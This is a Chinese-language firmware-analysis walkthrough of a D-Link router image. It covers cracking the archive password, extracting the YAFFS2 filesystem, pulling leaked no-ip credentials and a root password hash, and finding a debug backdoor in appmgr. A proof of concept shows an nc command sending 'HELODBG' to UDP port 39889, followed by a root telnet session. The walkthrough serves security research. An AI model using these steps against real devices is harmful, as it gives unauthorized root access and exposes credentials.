前言
给了个从Dlink固件里提取的样本,打开发现被加密了,得爆破。

kali自带了一些关于压缩文件的工具,比如生成字典用的crunch、rsmangler,爆破用的frackzip等,这些工具用法都不难。
直接用frackzip破解,(根据教程的提示)得到密码beUT9Z
输入密码解压后得到一下文件

其中发现有多个.yaffs2后缀的文件,这些都是固件的文件。
注:
.mbn:高通的一套用于加载网络环境的文件(modem software configuration)
.yaffs2:针对NAND芯片设计的嵌入式文件系统,可用unyaffs提取
yaffs2里有几个看上去是recovery的镜像,核心的应该是2K-mdm-image-mdm9625.yaffs2 ,我们下面就来提取该文件,我首先用binwalk来提取它,但提取出来的文件乱七八糟,不知道什么原因,后来看网上推荐直接用yaffs的原生工具unyaffs提取,就可以了,文件系统清晰明了。
unyaffs 2K-mdm-image-mdm9625.yaffs2 yaffs2-root/

接下来我们查找该路径下的所有.conf文件,.conf文件多是配置文件,有可能从中可以发现敏感的信息。
find . -name '*.conf'

其中的inadyn-mt.conf 文件引起了我们注意,这是no-ip应用的配置文件,no-ip就是一个相当于花生壳的东西,可以申请动态域名。我们从中可以发现泄露的no-ip的登陆账号及密码。
cat etc/inadyn-mt.conf

除了上述泄露的no-ip账号密码,我们还从shadow文件中找到了root账号的密码,通过爆破可以得到root的密码为1234。
cat ~/yaffs2-root/etc/shadow
 其实并不止有.conf文件会泄露信息,还有很多其他后缀的敏感文件会泄露信息,我们接下来使用firmwalker工具来自动化遍历该固件系统中的所有可疑文件。
 命令如下,firmwalker会将结果保存到firmwalker.txt。
./firmwalker.sh ~/yaffs2-root/
 firmwalker工具主要功能就是遍历各种后缀的文件,后缀数据都存在data文件夹中的各个配置文件中。
分析完敏感的配置文件后,我们接下来分析存在风险的二进制程序。查看自启动的程序,一个start_appmgr脚本引起了我们注意,mgr一般就是主控程序的意思。
 该脚本会在开机的时候以服务的形式运行/bin.appmgr程序。
 通过IDA进行反编译,在main函数中发现了一个管理员当时为了方便调试留下的后门,只要连接该固件的39889端口并发送HELODBG的字符串,就可以进行远程执行命令。
 POC如下:
user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
Hello
^C
user@kali:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1. Escape character is '^]'.
OpenEmbedded Linux homerouter.cpe
msm 20141210 homerouter.cpe
/
id uid=0(root) gid=0(root)
/
exit
Connection closed by foreign host.
user@kali:~$
|